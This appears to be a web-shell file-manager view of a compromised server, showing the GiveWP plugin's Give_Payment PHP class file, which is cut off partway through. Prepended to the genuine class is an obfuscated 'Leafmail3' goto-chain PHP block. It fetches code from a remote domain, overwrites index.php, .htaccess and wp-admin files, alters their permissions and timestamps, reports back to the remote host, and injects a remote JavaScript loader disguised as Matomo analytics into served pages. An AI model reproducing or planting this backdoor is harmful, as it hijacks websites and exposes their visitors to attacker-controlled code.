Server IP : 192.158.238.246 / Your IP : 3.135.183.46 Web Server : LiteSpeed System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64 User : jenniferflocom ( 1321) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/7779/cwd/plugins/give/includes/payments/ |
Upload File : |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * Payments * * @package Give * @subpackage Classes/Give_Payment * @copyright Copyright (c) 2016, GiveWP * @license https://opensource.org/licenses/gpl-license GNU Public License * @since 1.5 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Give_Payment Class * * This class is for working with payments in Give. * * @property int $ID * @property bool $new * @property string $number * @property string $mode * @property string $import * @property string $key * @property string $form_title * @property string|int $form_id * @property string|int $price_id * @property string|int $total * @property string|int $subtotal * @property string|int $fees * @property string|int $fees_total * @property string $post_status * @property string $date * @property string $post_date * @property string $status * @property string $email * @property array $payment_meta * @property string $customer_id * @property string $donor_id * @property string $completed_date * @property string $currency * @property string $ip * @property array $user_info * @property string $gateway * @property string $user_id * @property string $title_prefix * @property string $first_name * @property string $last_name * @property string $parent_payment * @property string $transaction_id * @property string $old_status * * @since 1.5 */ final class Give_Payment { /** * The Payment ID. * * @since 1.5 * * @var int */ public $ID = 0; /** * Protected non-read $_ID. * * @var int */ protected $_ID = 0; /** * Identify if the payment is a new one or existing. * * @since 1.5 * @access protected * * @var boolean */ protected $new = false; /** * The Payment number (for use with sequential payments). * * @since 1.5 * @access protected * * @var string */ protected $number = ''; /** * The Gateway mode the payment was made in. * * @since 1.5 * @access protected * * @var string */ protected $mode = 'live'; /** * Is donations is Import or not. * * @since 1.8.13 * @access protected * * @var bool */ protected $import = false; /** * The unique donation payment key. * * @since 1.5 * @access protected * * @var string */ protected $key = ''; /** * The Donation Form Title * * @since 1.5 * @access protected * * @var string */ protected $form_title = 0; /** * The Donation Form ID * * @since 1.5 * @access protected * * @var string */ protected $form_id = 0; /** * The Donation Form Price ID * * @since 1.5 * @access protected * * @var string|int */ protected $price_id = 0; /** * The total amount of the donation payment. * * @since 1.5 * @access protected * * @var float */ protected $total = 0.00; /** * The Subtotal fo the payment. * * @since 1.5 * @access protected * * @var float */ protected $subtotal = 0; /** * The date the payment was created * * @since 1.5 * @access protected * * @var string */ protected $date = ''; /** * The date the payment post was created. * * @var string */ protected $post_date = ''; /** * The date the payment was marked as 'complete'. * * @since 1.5 * @access protected * * @var string */ protected $completed_date = ''; /** * The status of the donation payment. * * @since 1.5 * @access protected * * @var string */ protected $status = 'pending'; /** * Donation Status. * * @var string */ protected $post_status = 'pending'; // Same as $status but here for backwards compat. /** * When updating, the old status prior to the change * * @since 1.5 * @access protected * * @var string */ protected $old_status = ''; /** * The display name of the current payment status. * * @since 1.5 * @access protected * * @var string */ protected $status_nicename = ''; /** * The donor ID that made the payment. * * @since 1.5 * @access protected * * @var integer */ protected $customer_id = null; /** * The Donor ID (if logged in) that made the payment * * @since 1.8.13 * @access protected * * @var integer */ protected $donor_id = 0; /** * The User ID (if logged in) that made the payment * * @since 1.5 * @access protected * * @var integer */ protected $user_id = 0; /** * The Title Prefix/Salutation of the Donor. * * @since 2.2 * * @var string */ protected $title_prefix = ''; /** * The first name of the payee * * @since 1.5 * @access protected * * @var string */ protected $first_name = ''; /** * The last name of the payee * * @since 1.5 * @access protected * * @var string */ protected $last_name = ''; /** * The email used for the payment * * @since 1.5 * @access protected * * @var string */ protected $email = ''; /** * Legacy (not to be accessed) array of user information * * @since 1.5 * @access private * * @var array */ private $user_info = []; /** * Legacy (not to be accessed) payment meta array * * @since 1.5 * @access private * * @var array */ private $payment_meta = []; /** * The physical address used for the payment if provided * * @since 1.5 * @access protected * * @var array */ protected $address = []; /** * The transaction ID returned by the gateway * * @since 1.5 * @access protected * * @var string */ protected $transaction_id = ''; /** * IP Address payment was made from * * @since 1.5 * @access protected * * @var string */ protected $ip = ''; /** * The gateway used to process the payment * * @since 1.5 * @access protected * * @var string */ protected $gateway = ''; /** * The the payment was made with * * @since 1.5 * @access protected * * @var string */ protected $currency = ''; /** * Array of items that have changed since the last save() was run. * This is for internal use, to allow fewer update_payment_meta calls to be run. * * @since 1.5 * @access private * * @var array */ private $pending; /** * The parent payment (if applicable) * * @since 1.5 * @access protected * * @var integer */ protected $parent_payment = 0; /** * Setup the Give Payments class * * @since 1.5 * @access public * * @param int|bool $payment_id A given payment. * * @return mixed void|false */ public function __construct( $payment_id = false ) { if ( empty( $payment_id ) ) { return false; } $this->setup_payment( $payment_id ); } /** * Magic GET function. * * @since 1.5 * @access public * * @param string $key The property. * * @return mixed The value. */ public function __get( $key ) { if ( method_exists( $this, 'get_' . $key ) ) { $value = call_user_func( [ $this, 'get_' . $key ] ); } else { $value = $this->$key; } return $value; } /** * Magic SET function * * Sets up the pending array for the save method * * @since 1.5 * @access public * * @param string $key The property name. * @param mixed $value The value of the property. */ public function __set( $key, $value ) { $ignore = [ '_ID' ]; if ( 'status' === $key ) { $this->old_status = $this->status; } if ( ! in_array( $key, $ignore ) ) { $this->pending[ $key ] = $value; } if ( '_ID' !== $key ) { $this->$key = $value; } } /** * Magic ISSET function, which allows empty checks on protected elements * * @since 1.5 * @access public * * @param string $name The attribute to get. * * @return boolean|null If the item is set or not */ public function __isset( $name ) { if ( property_exists( $this, $name ) ) { return false === empty( $this->$name ); } else { return null; } } /** * Setup payment properties * * @since 1.5 * @access private * * @param int $payment_id The payment ID. * * @return bool If the setup was successful or not */ private function setup_payment( $payment_id ) { $this->pending = []; if ( empty( $payment_id ) ) { return false; } $payment = get_post( absint( $payment_id ) ); if ( ! $payment || is_wp_error( $payment ) ) { return false; } if ( 'give_payment' !== $payment->post_type ) { return false; } Give_Payments_Query::update_meta_cache( [ 